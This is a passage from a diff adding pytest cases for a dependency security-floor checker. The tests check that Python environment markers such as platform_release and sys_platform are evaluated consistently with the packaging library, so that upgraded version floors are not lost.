+ pytest.param(
+ "platform_release == '6.dev0' and platform_release in '6.dev'",
+ "6.dev",
+ "6.dev",
+ id="missing-development-serial-normalizes-without-losing-raw-spelling",
+ ),
+ pytest.param(
+ "platform_release != '6.0' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="normalized-inequality-removes-raw-substring-witness",
+ ),
+ pytest.param(
+ "platform_release != 'linux' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="string-exclusion-does-not-reject-numeric-membership-domain",
+ ),
+ pytest.param(
+ "platform_release < '7' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="exclusive-upper-bound-keeps-numeric-substring",
+ ),
+ pytest.param(
+ "platform_release <= '6' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="inclusive-upper-bound-keeps-numeric-substring",
+ ),
+ pytest.param(
+ "platform_release > '5' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="exclusive-lower-bound-keeps-numeric-substring",
+ ),
+ pytest.param(
+ "platform_release >= '6' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="inclusive-lower-bound-keeps-numeric-substring",
+ ),
+ pytest.param(
+ "platform_release > '6' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="exclusive-lower-bound-rejects-equal-substring",
+ ),
+ pytest.param(
+ "platform_release >= '5' and platform_release not in 'arm64'",
+ "6",
+ "arm64",
+ id="negative-membership-still-limits-numeric-witness",
+ ),
+ pytest.param(
+ "platform_release == '6.*' and platform_release in 'arm64'",
+ "6",
+ "arm64",
+ id="wildcard-equality-keeps-numeric-substring",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1a1' and platform_release in 'kernel-6.8.0.1a2'",
+ "6.8.0.1a2",
+ "kernel-6.8.0.1a2",
+ id="prerelease-membership-preserves-numeric-ordering",
+ ),
+ pytest.param(
+ "platform_release > '6.8.0.1a1' and platform_release in 'kernel-6.8.0.1a1.post1'",
+ "6.8.0.1a1.post1",
+ "kernel-6.8.0.1a1.post1",
+ id="strict-prerelease-floor-excludes-its-post-release",
+ ),
+ pytest.param(
+ "platform_release > '6.8.0.1.post1' and platform_release in 'kernel-6.8.0.1.post2'",
+ "6.8.0.1.post2",
+ "kernel-6.8.0.1.post2",
+ id="post-release-membership-preserves-numeric-ordering",
+ ),
+ pytest.param(
+ "platform_release >= '6.8.0.1.dev1' and platform_release in 'kernel-6.8.0.1.dev2'",
+ "6.8.0.1.dev2",
+ "kernel-6.8.0.1.dev2",
+ id="development-membership-preserves-numeric-ordering",
+ ),
+ pytest.param(
+ "platform_release ~= '6.8.0.1' and platform_release in 'kernel-6.8.0.2'",
+ "6.8.0.2",
+ "kernel-6.8.0.2",
+ id="wide-compatible-range-preserves-raw-membership",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_platform_release_membership_matches_packaging_version_domains(
+ tmp_path: Path, requirement_marker: str, release: str, membership: str, protected: bool
+) -> None:
+ expected = Marker(requirement_marker).evaluate(environment={"platform_release": release})
+ resolution_marker = f"platform_release == '{Version(release)}' and platform_release in '{membership}'"
+ if release == "v6":
+ resolution_marker += " and platform_release not in '6'"
+ previous = "danger>=1; " + requirement_marker
+ updated = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if expected else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("missing", [None, "included", "excluded"], ids=["complete", "missing-in", "missing-not-in"])
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_platform_release_membership_complements_preserve_every_numeric_alias(
+ tmp_path: Path, missing: str | None, protected: bool
+) -> None:
+ domain = "platform_release == '6'"
+ partitions = {
+ "included": domain + " and platform_release in 'arm64'",
+ "excluded": domain + " and platform_release not in 'arm64'",
+ }
+ current = [marker for name, marker in partitions.items() if name != missing]
+ previous = "danger>=1; " + domain
+ updated = ["danger>=2; " + marker for marker in current]
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else updated,
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=updated if protected else None,
+ base_resolution_markers={("danger", "1"): [domain]},
+ head_resolution_markers={("danger", "2"): current},
+ )
+ assert result.returncode == (0 if missing is None else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_platform_release_negative_membership_retains_equivalent_numeric_aliases(
+ tmp_path: Path, protected: bool
+) -> None:
+ marker = "platform_release == '6' and platform_release not in '6, 6.0, 06, 6.00'"
+ assert Marker(marker).evaluate(environment={"platform_release": "6.0.0"})
+ previous, updated = "danger>=1; " + marker, "danger>=2; " + marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [marker]},
+ head_resolution_markers={("danger", "2"): [marker]},
+ )
+ assert result.returncode == 0, result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "release"),
+ [
+ pytest.param("platform_release not in '6'", "6", id="standalone-negative-excludes-exact-release"),
+ pytest.param("platform_release not in '7'", "6", id="standalone-negative-preserves-other-release"),
+ pytest.param("platform_release not in 'kernel-6'", "6", id="negative-preserves-raw-substring-semantics"),
+ pytest.param("platform_release not in 'linux'", "6", id="negative-preserves-nonnumeric-operand"),
+ pytest.param("platform_release not in '6'", "6.0", id="negative-preserves-dotted-raw-alias"),
+ pytest.param("platform_release not in '6.0'", "6.0", id="negative-excludes-dotted-raw-release"),
+ pytest.param("platform_release not in '06'", "6", id="negative-excludes-leading-zero-containing-string"),
+ pytest.param("platform_release not in '6'", "06", id="negative-preserves-leading-zero-raw-alias"),
+ pytest.param(
+ "platform_release not in '7' and platform_release not in 'kernel-6'",
+ "6",
+ id="every-negative-clause-is-preserved",
+ ),
+ pytest.param(
+ "platform_release not in '7' and platform_release not in 'linux'",
+ "6",
+ id="multiple-negative-clauses-can-share-a-witness",
+ ),
+ pytest.param(
+ "platform_release >= '5' and platform_release not in '6'",
+ "6",
+ id="numeric-lower-bound-cannot-drop-negative-membership",
+ ),
+ pytest.param(
+ "platform_release == '6' and platform_release not in '6'",
+ "6",
+ id="numeric-equality-cannot-manufacture-an-alias-to-evade-negative-membership",
+ ),
+ pytest.param(
+ "platform_release == '6' and platform_release not in '6'",
+ "6.0",
+ id="numeric-equality-retains-a-real-dotted-raw-alias",
+ ),
+ pytest.param(
+ "platform_release == '6' and platform_release in '6'",
+ "6.0",
+ id="numeric-equality-cannot-manufacture-a-positive-membership-alias",
+ ),
+ pytest.param(
+ "platform_release == '6' or platform_release in 'arm64'",
+ "6.0",
+ id="numeric-equality-disjunction-preserves-its-dotted-alias-alternative",
+ ),
+ pytest.param(
+ "platform_release < '7' and platform_release not in '5'",
+ "6",
+ id="numeric-upper-bound-retains-valid-negative-membership",
+ ),
+ pytest.param(
+ "platform_release != 'linux' and platform_release not in '6'",
+ "6",
+ id="mixed-raw-and-numeric-domains-retain-negative-membership",
+ ),
+ pytest.param(
+ "platform_release in 'kernel-6' and platform_release not in '6'",
+ "6",
+ id="positive-and-negative-memberships-share-the-same-witness",
+ ),
+ pytest.param(
+ "platform_release not in 'kernel-6.8.0.1'",
+ "6.8.0.1",
+ id="negative-membership-preserves-arbitrary-release-width",
+ ),
+ pytest.param(
+ "platform_release not in 'kernel-6.8.0.1a1'",
+ "6.8.0.1a1",
+ id="negative-membership-preserves-prerelease-spelling",
+ ),
+ pytest.param(
+ "platform_release not in 'kernel-6.8.0.1.post2'",
+ "6.8.0.1.post2",
+ id="negative-membership-preserves-postrelease-spelling",
+ ),
+ pytest.param(
+ "platform_release not in 'kernel-6.8.0.1.dev3'",
+ "6.8.0.1.dev3",
+ id="negative-membership-preserves-development-spelling",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_platform_release_negative_membership_matches_packaging_without_positive_membership(
+ tmp_path: Path, requirement_marker: str, release: str, protected: bool
+) -> None:
+ expected = Marker(requirement_marker).evaluate(environment={"platform_release": release})
+ domain = f"platform_release == '{release}'"
+ previous, updated = "danger>=1; " + requirement_marker, "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [domain]},
+ head_resolution_markers={("danger", "2"): [domain]},
+ )
+ assert result.returncode == (0 if expected else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "release"),
+ [
+ pytest.param(
+ "platform_release === '6.8.0'",
+ "platform_release == '6.8.0'",
+ "6.8.0",
+ id="arbitrary-equality-preserves-exact-raw-platform-release",
+ ),
+ pytest.param(
+ "platform_release === '6.8.0'",
+ "platform_release == '6.8'",
+ "6.8",
+ id="arbitrary-equality-rejects-shorter-normalized-alias",
+ ),
+ pytest.param(
+ "platform_release === '6.8'",
+ "platform_release == '6.8.0'",
+ "6.8.0",
+ id="arbitrary-equality-rejects-longer-normalized-alias",
+ ),
+ pytest.param(
+ "platform_release === '06.008.000'",
+ "platform_release == '06.008.000'",
+ "06.008.000",
+ id="arbitrary-equality-retains-leading-zero-spelling",
+ ),
+ pytest.param(
+ "platform_release === '6.0' and platform_release == '6'",
+ "platform_release == '6.0'",
+ "6.0",
+ id="arbitrary-equality-can-intersect-an-equivalent-numeric-alias",
+ ),
+ pytest.param(
+ "platform_release === '06' and platform_release == '6'",
+ "platform_release == '06'",
+ "06",
+ id="arbitrary-equality-can-intersect-a-leading-zero-numeric-alias",
+ ),
+ pytest.param(
+ "platform_release === '6.8.0.1.2'",
+ "platform_release == '6.8.0.1.2'",
+ "6.8.0.1.2",
+ id="arbitrary-equality-supports-arbitrary-release-width",
+ ),
+ pytest.param(
+ "platform_release === '6.8.0.1a1'",
+ "platform_release == '6.8.0.1a1'",
+ "6.8.0.1a1",
+ id="arbitrary-equality-retains-prerelease-spelling",
+ ),
+ pytest.param(
+ "platform_release === '6.8.0.1.post2'",
+ "platform_release == '6.8.0.1.post2'",
+ "6.8.0.1.post2",
+ id="arbitrary-equality-retains-postrelease-spelling",
+ ),
+ pytest.param(
+ "platform_release === '6.8.0.1.dev3'",
+ "platform_release == '6.8.0.1.dev3'",
+ "6.8.0.1.dev3",
+ id="arbitrary-equality-retains-development-spelling",
+ ),
+ pytest.param(
+ "platform_release === 'Linux'",
+ "platform_release == 'linux'",
+ "linux",
+ id="arbitrary-equality-matches-packaging-case-insensitivity",
+ ),
+ pytest.param(
+ "platform_release === 'v6.8'",
+ "platform_release === 'v6.8'",
+ "v6.8",
+ id="arbitrary-equality-retains-v-prefixed-raw-domains",
+ ),
+ pytest.param(
+ "platform_release === '6+LOCAL'",
+ "platform_release === '6+local'",
+ "6+local",
+ id="arbitrary-equality-retains-case-insensitive-local-domains",
+ ),
+ pytest.param(
+ "platform_release === '6' and platform_release not in '6'",
+ "platform_release == '6'",
+ "6",
+ id="raw-equality-cannot-evade-negative-membership",
+ ),
+ pytest.param(
+ "platform_release === '6' and platform_release in 'kernel-6'",
+ "platform_release == '6'",
+ "6",
+ id="raw-equality-can-intersect-positive-membership",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_platform_release_arbitrary_equality_matches_packaging_raw_domains(
+ tmp_path: Path, requirement_marker: str, resolution_marker: str, release: str, protected: bool
+) -> None:
+ expected = Marker(requirement_marker).evaluate(environment={"platform_release": release})
+ assert Marker(resolution_marker).evaluate(environment={"platform_release": release})
+ previous, updated = "danger>=1; " + requirement_marker, "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if expected else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("scope", ["runtime", "optional", "constraint", "build", "group"])
+@pytest.mark.parametrize(
+ ("marker", "release"),
+ [
+ pytest.param("platform_release not in '6'", "6", id="inactive-negative-membership"),
+ pytest.param("platform_release not in '7'", "6", id="active-negative-membership"),
+ pytest.param("platform_release === '6.0'", "6", id="inactive-normalized-raw-equality-alias"),
+ pytest.param("platform_release === '6'", "6", id="active-exact-raw-equality"),
+ ],
+)
+def test_platform_release_raw_security_boundaries_are_consistent_across_dependency_groups(
+ tmp_path: Path, scope: str, marker: str, release: str
+) -> None:
+ expected = Marker(marker).evaluate(environment={"platform_release": release})
+ previous, updated = "danger>=1; " + marker, "danger>=2; " + marker
+ runtime = scope in {"runtime", "optional"}
+ domain = f"platform_release == '{release}'"
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[previous] if runtime else [],
+ head_requirements=[updated] if runtime else [],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ optional=scope == "optional",
+ base_constraints=[previous] if scope == "constraint" else None,
+ head_constraints=[updated] if scope == "constraint" else None,
+ base_build_constraints=[previous] if scope == "build" else None,
+ head_build_constraints=[updated] if scope == "build" else None,
+ base_dependency_groups={"development": [previous]} if scope == "group" else None,
+ head_dependency_groups={"development": [updated]} if scope == "group" else None,
+ base_resolution_markers={("danger", "1"): [domain]},
+ head_resolution_markers={("danger", "2"): [domain]},
+ )
+ assert result.returncode == (0 if expected else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("scope", ["constraint", "build", "group"])
+@pytest.mark.parametrize("exposure", ["transitive-upgrade", "new-extra"])
+@pytest.mark.parametrize(
+ ("marker", "release"),
+ [
+ pytest.param("platform_release not in '6'", "6", id="inactive-negative-boundary"),
+ pytest.param("platform_release not in '7'", "6", id="active-negative-boundary"),
+ pytest.param("platform_release not in '6'", "6.0", id="active-normalized-numeric-alias"),
+ pytest.param("platform_release === '6'", "6", id="active-exact-raw-boundary"),
+ pytest.param("platform_release === '6.0'", "6", id="inactive-normalized-raw-boundary"),
+ ],
+)
+def test_new_platform_release_security_boundaries_cover_actual_exposure_domains(
+ tmp_path: Path, scope: str, exposure: str, marker: str, release: str
+) -> None:
+ expected = Marker(marker).evaluate(environment={"platform_release": release})
+ requirement = "danger>=2; " + marker
+ domain = f"platform_release == '{release}'"
+ extra = exposure == "new-extra"
+ optional: dict[tuple[str, str], dict[str, list[dict[str, object]]]] | None = (
+ {("parent", "1"): {"feature": [{"name": "danger"}]}} if extra else None
+ )
+ base_packages = [("patch", "1"), ("parent", "1") if extra else ("danger", "1")]
+ head_packages = [("patch", "2"), *([("parent", "1")] if extra else []), ("danger", "2")]
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch>=1", *(["parent"] if extra else [])],
+ head_requirements=["patch>=2", *(["parent", "parent[feature]"] if extra else [])],
+ base_packages=base_packages,
+ head_packages=head_packages,
+ head_constraints=[requirement] if scope == "constraint" else None,
+ head_build_constraints=[requirement] if scope == "build" else None,
+ head_dependency_groups={"reviewed": [requirement]} if scope == "group" else None,
+ base_lock_optional_dependencies=optional,
+ head_lock_optional_dependencies=optional,
+ base_resolution_markers=None if extra else {("danger", "1"): [domain]},
+ head_resolution_markers={("danger", "2"): [domain]},
+ )
+ assert result.returncode == (0 if expected else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "accepted"),
+ [
+ pytest.param("'lin' in sys_platform", "sys_platform == 'linux'", True, id="reversed-platform-substring"),
+ pytest.param(
+ "'linux' in sys_platform", "sys_platform == 'lin'", False, id="reversed-membership-keeps-direction"
+ ),
+ pytest.param("'lin' in sys_platform", "sys_platform == 'win32'", False, id="reversed-platform-missing-needle"),
+ pytest.param("'win' not in sys_platform", "sys_platform == 'linux'", True, id="reversed-negative-outside"),
+ pytest.param("'lin' not in sys_platform", "sys_platform == 'linux'", False, id="reversed-negative-substring"),
+ pytest.param(
+ "sys_platform == 'linux'",
+ "'lin' in sys_platform and sys_platform == 'linux'",
+ True,
+ id="reversed-resolution-substring",
+ ),
+ pytest.param("sys_platform == 'linux'", "'lin' not in sys_platform", False, id="reversed-resolution-negative"),
+ pytest.param(
+ "'lin' in sys_platform and 'ux' in sys_platform",
+ "sys_platform == 'linux'",
+ True,
+ id="reversed-platform-keeps-every-required-needle",
+ ),
+ pytest.param(
+ "'lin' in sys_platform and 'in' not in sys_platform",
+ "sys_platform == 'linux'",
+ False,
+ id="required-needle-cannot-contain-a-forbidden-needle",
+ ),
+ pytest.param(
+ "'lin' in sys_platform and sys_platform in 'linux,win32'",
+ "sys_platform == 'linux'",
+ True,
+ id="forward-and-reversed-membership-share-one-platform-witness",
+ ),
+ pytest.param(
+ "'inu' in sys_platform and sys_platform in 'linux,win32'",
+ "sys_platform == 'win32'",
+ False,
+ id="forward-and-reversed-membership-reject-distinct-witnesses",
+ ),
+ pytest.param("'' in sys_platform", "sys_platform == 'linux'", True, id="empty-reversed-needle-is-universal"),
+ pytest.param("'' not in sys_platform", "sys_platform == 'linux'", False, id="empty-reversed-negative-is-empty"),
+ pytest.param("'LIN' in sys_platform", "sys_platform == 'linux'", False, id="reversed-platform-keeps-case"),
+ pytest.param(
+ "'3.1' in platform_version",
+ "platform_version == '3.10'",
+ True,
+ id="reversed-platform-version-remains-string-containment",
+ ),
+ pytest.param(
+ "'6.1' in platform_release",
+ "platform_release == '6.10'",
+ False,
+ id="reversed-numeric-platform-release-fails-closed",
+ ),
+ pytest.param(
+ "'3.1' in python_version",
+ "python_full_version == '3.10.4'",
+ False,
+ id="unbounded-reversed-python-version-space-fails-closed",
+ ),
+ pytest.param(
+ "'" + "a" * 257 + "' in sys_platform",
+ "sys_platform == 'linux'",
+ False,
+ id="unbounded-reversed-platform-needle-fails-closed",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_reversed_platform_membership_preserves_operand_orientation(
+ tmp_path: Path, requirement_marker: str, resolution_marker: str, accepted: bool, protected: bool
+) -> None:
+ previous = "danger>=1; " + requirement_marker
+ updated = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else [updated],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=[updated] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize("complete", [False, True], ids=["missing-complement", "complete-complement"])
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_reversed_platform_membership_complements_preserve_every_security_domain(
+ tmp_path: Path, complete: bool, protected: bool
+) -> None:
+ domain = "sys_platform != 'darwin'"
+ included = domain + " and 'lin' in sys_platform"
+ excluded = domain + " and 'lin' not in sys_platform"
+ updated = ["danger>=2; " + included]
+ new_domains = [included]
+ if complete:
+ updated.append("danger>=2; " + excluded)
+ new_domains.append(excluded)
+ previous = "danger>=1; " + domain
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [previous],
+ head_requirements=[] if protected else updated,
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[previous] if protected else None,
+ head_constraints=updated if protected else None,
+ base_resolution_markers={("danger", "1"): [domain]},
+ head_resolution_markers={("danger", "2"): new_domains},
+ )
+ assert result.returncode == (0 if complete else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "accepted"),
+ [
+ pytest.param(
+ "sys_platform >= 'linux'",
+ "sys_platform == 'linux'",
+ True,
+ id="inclusive-lower-includes-only-the-equal-platform",
+ ),
+ pytest.param(
+ "sys_platform > 'linux'",
+ "sys_platform == 'linux'",
+ False,
+ id="exclusive-lower-rejects-equal-platform",
+ ),
+ pytest.param(
+ "sys_platform > 'linux'",
+ "sys_platform == 'win32'",
+ False,
+ id="exclusive-lower-does-not-use-lexical-platform-ordering",
+ ),
+ pytest.param(
+ "sys_platform >= 'linux'",
+ "sys_platform == 'win32'",
+ False,
+ id="inclusive-lower-does-not-cover-a-lexically-greater-platform",
+ ),
+ pytest.param(
+ "sys_platform <= 'linux'",
+ "sys_platform == 'linux'",
+ True,
+ id="inclusive-upper-includes-only-the-equal-platform",
+ ),
+ pytest.param(
+ "sys_platform <= 'linux'",
+ "sys_platform == 'darwin'",
+ False,
+ id="inclusive-upper-does-not-cover-a-lexically-smaller-platform",
+ ),
+ pytest.param(
+ "sys_platform < 'linux'",
+ "sys_platform == 'linux'",
+ False,
+ id="exclusive-upper-rejects-equal-platform",
+ ),
+ pytest.param(
+ "sys_platform < 'ab'",
+ "sys_platform == 'a'",
+ False,
+ id="exclusive-upper-does-not-use-lexical-platform-ordering",
+ ),
+ pytest.param(
+ "'ab' > sys_platform",
+ "sys_platform == 'a'",
+ False,
+ id="reversed-exclusive-comparison-does-not-use-lexical-ordering",
+ ),
+ pytest.param(
+ "'a' <= sys_platform",
+ "sys_platform == 'a'",
+ True,
+ id="reversed-inclusive-comparison-preserves-equal-platform",
+ ),
+ pytest.param(
+ "'a' <= sys_platform",
+ "sys_platform == 'b'",
+ False,
+ id="reversed-inclusive-comparison-rejects-unequal-platform",
+ ),
+ pytest.param(
+ "sys_platform >= 'linux' and sys_platform < 'win32'",
+ "sys_platform == 'linux'",
+ False,
+ id="exclusive-upper-makes-a-platform-window-unsatisfiable",
+ ),
+ pytest.param(
+ "sys_platform >= 'linux' and sys_platform < 'win32'",
+ "sys_platform == 'win32'",
+ False,
+ id="exclusive-platform-window-rejects-every-platform",
+ ),
+ pytest.param(
+ "sys_platform >= 'linux'",
+ "sys_platform >= 'linux' and sys_platform < 'win32'",
+ False,
+ id="exclusive-resolution-marker-has-no-installer-domain",
+ ),
+ pytest.param(
+ "sys_platform > 'linux'",
+ "sys_platform <= 'linux'",
+ False,
+ id="strict-platform-comparison-cannot-cover-an-inclusive-domain",
+ ),
+ pytest.param(
+ "sys_platform >= 'linux' and sys_platform != 'linux'",
+ "sys_platform == 'linux'",
+ False,
+ id="inclusive-platform-exclusion-cannot-be-lost",
+ ),
+ pytest.param(
+ "sys_platform >= 'linux' and sys_platform != 'linux'",
+ "sys_platform > 'linux'",
+ False,
+ id="inclusive-platform-exclusion-leaves-no-other-witness",
+ ),
+ pytest.param(
+ "platform_machine > 'ar' and platform_machine in 'arm64, x86_64'",
+ "platform_machine == 'arm'",
+ False,
+ id="strict-platform-comparison-cannot-gain-a-substring-witness",
+ ),
+ pytest.param(
+ "platform_machine >= 'arm' and platform_machine in 'arm64, x86_64'",
+ "platform_machine == 'arm'",
+ True,
+ id="inclusive-platform-comparison-retains-an-equal-substring-witness",
+ ),
+ pytest.param(
+ "platform_version > '3.9'",
+ "platform_version == '3.10'",
+ False,
+ id="platform-version-does-not-enable-version-ordering",
+ ),
+ pytest.param(
+ "platform_version >= '3.9'",
+ "platform_version == '3.10'",
+ False,
+ id="inclusive-platform-version-comparison-still-requires-equality",
+ ),
+ pytest.param(
+ "platform_release < 'build-42'",
+ "platform_release == 'build-4'",
+ False,
+ id="nonnumeric-platform-release-does-not-use-lexical-ordering",
+ ),
+ pytest.param(
+ "platform_release >= 'build-42'",
+ "platform_release == 'build-42'",
+ True,
+ id="nonnumeric-platform-release-inclusive-comparison-preserves-equality",
+ ),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_ordered_platform_markers_preserve_installer_security_domains(
+ tmp_path: Path,
+ requirement_marker: str,
+ resolution_marker: str,
+ accepted: bool,
+ protected: bool,
+) -> None:
+ before = "danger>=1; " + requirement_marker
+ after = "danger>=2; " + requirement_marker
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=[] if protected else [before],
+ head_requirements=[] if protected else [after],
+ base_packages=[("danger", "1")],
+ head_packages=[("danger", "2")],
+ base_constraints=[before] if protected else None,
+ head_constraints=[after] if protected else None,
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("requirement_marker", "resolution_marker", "accepted"),
+ [
+ pytest.param(
+ "sys_platform < 'ab'",
+ "sys_platform == 'a'",
+ False,
+ id="strict-less-than-never-protects-a-transitive-platform",
+ ),
+ pytest.param(
+ "sys_platform > 'a'",
+ "sys_platform == 'ab'",
+ False,
+ id="strict-greater-than-never-protects-a-transitive-platform",
+ ),
+ pytest.param(
+ "sys_platform >= 'a'",
+ "sys_platform in 'a,b'",
+ False,
+ id="inclusive-lower-cannot-hide-an-unprotected-platform-fragment",
+ ),
+ pytest.param(
+ "sys_platform <= 'a'",
+ "sys_platform in 'a,b'",
+ False,
+ id="inclusive-upper-cannot-hide-an-unprotected-platform-fragment",
+ ),
+ pytest.param(
+ "sys_platform >= 'a'",
+ "sys_platform == 'a'",
+ True,
+ id="inclusive-lower-protects-its-equal-platform",
+ ),
+ pytest.param(
+ "sys_platform <= 'a'",
+ "sys_platform == 'a'",
+ True,
+ id="inclusive-upper-protects-its-equal-platform",
+ ),
+ ],
+)
+def test_ordered_platform_markers_cannot_fake_transitive_security_coverage(
+ tmp_path: Path, requirement_marker: str, resolution_marker: str, accepted: bool
+) -> None:
+ result = run_security_dependency_floor_check(
+ tmp_path,
+ base_requirements=["patch-me>=1"],
+ head_requirements=["patch-me>=1.1"],
+ base_packages=[("patch-me", "1"), ("danger", "1")],
+ head_packages=[("patch-me", "1.1"), ("danger", "2")],
+ base_constraints=["danger>=1; " + (requirement_marker if accepted else resolution_marker)],
+ head_constraints=["danger>=2; " + requirement_marker],
+ base_resolution_markers={("danger", "1"): [resolution_marker]},
+ head_resolution_markers={("danger", "2"): [resolution_marker]},
+ )
+ assert result.returncode == (0 if accepted else 1), result.stdout + result.stderr
+
+
+@pytest.mark.parametrize(
+ ("variant", "accepted"),
+ [
+ pytest.param("patched-range", True, id="wildcard-equality-normalizes-to-inclusive-series-range"),
+ pytest.param("subsumed-exclusion", True, id="patched-floor-subsumes-the-original-wildcard-exclusion"),
+ pytest.param("preserved-exclusion", True, id="wildcard-equality-retains-an-independent-prefix-exclusion"),
+ pytest.param("removed-exclusion", False, id="wildcard-equality-cannot-drop-an-uncovered-exclusion"),
+ pytest.param("widened-series", False, id="wildcard-equality-cannot-widen-its-original-major-series"),
+ pytest.param("removed-upper", False, id="wildcard-equality-cannot-drop-its-implicit-upper-bound"),
+ pytest.param("nested-prefix", True, id="minor-wildcard-equality-keeps-the-correct-next-prefix-ceiling"),
+ pytest.param("minor-zero-prefix", True, id="one-zero-wildcard-equality-has-one-one-exclusive-ceiling"),
+ pytest.param("patch-zero-prefix", True, id="one-zero-zero-wildcard-equality-has-one-zero-one-ceiling"),
+ pytest.param("canonical-zeroes", True, id="wildcard-equality-normalizes-release-prefix-zeroes"),
+ pytest.param("epoch-zeroes", True, id="wildcard-equality-normalizes-epoch-and-release-zeroes"),
+ pytest.param("epoch", True, id="wildcard-equality-preserves-its-explicit-epoch"),
+ pytest.param("wrong-epoch", False, id="wildcard-equality-cannot-move-its-epoch"),
+ pytest.param("malformed-post", False, id="post-release-wildcard-equality-remains-invalid"),
+ pytest.param("retained-release", False, id="wildcard-equality-cannot-drop-an-unchanged-supported-lock"),
+ ],
+)
+@pytest.mark.parametrize("protected", [False, True], ids=["published-direct", "protected-constraint"])
+def test_wildcard_equality_series_preserve_reviewed_security_bounds(
+ tmp_path: Path, variant: str, accepted: bool, protected: bool
+) -> None:
+ previous, current = "danger==1.*", "danger>=1.3,<2"
+ before, after = ["1.2"], ["1.3"]
+
+ if variant in {"preserved-exclusion", "removed-exclusion"}:
+ previous = "danger==1.*,!=1.8.*"
+ current = "danger>=1.3,<2" + (",!=1.8.*" if variant == "preserved-exclusion" else "")
+ elif variant == "subsumed-exclusion":
+ previous = "danger==1.*,!=1.2.*"
+ before = ["1.1"]
+ elif variant == "widened-series":
+ current = "danger>=1.3,<3"
+ elif variant == "removed-upper":
+ current = "danger>=1.3"
+ elif variant == "nested-prefix":
+ previous, current = "danger==1.2.*", "danger>=1.2.4,<1.3"
+ before, after = ["1.2.3"], ["1.2.4"]
+ elif variant == "minor-zero-prefix":
+ previous, current = "danger==1.0.*", "danger>=1.0.3,<1.1"
+ before, after = ["1.0.2"], ["1.0.3"]
+ elif variant == "patch-zero-prefix":
